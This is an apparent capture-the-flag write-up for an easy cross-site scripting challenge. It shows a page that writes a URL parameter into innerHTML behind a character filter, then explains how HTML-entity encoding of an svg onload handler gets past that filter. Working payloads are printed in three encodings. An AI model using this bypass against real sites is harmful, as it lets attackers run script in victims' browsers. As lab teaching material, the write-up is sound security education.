Ah That's Hawt

Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

<!-- Challenge -->
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

Here we have a clear sink will.innerHTML, but alert(1337) can't be called because the filter removes ()` characters. But the filter forgets to consider that the values of the attribtues can be HTML entity encoded, hence we simply encode the payload. Additionally we URL encode the payload because it has some URL unsafe characters like &.

<!-- URL Encoding + HTML Entity Encoding -->
%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

<!-- HTML Entity Encoding -->
<svg onload="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x33;&#x33;&#x37;&#x29;">

<!-- No Encoding -->
<svg onload="alert(1337)">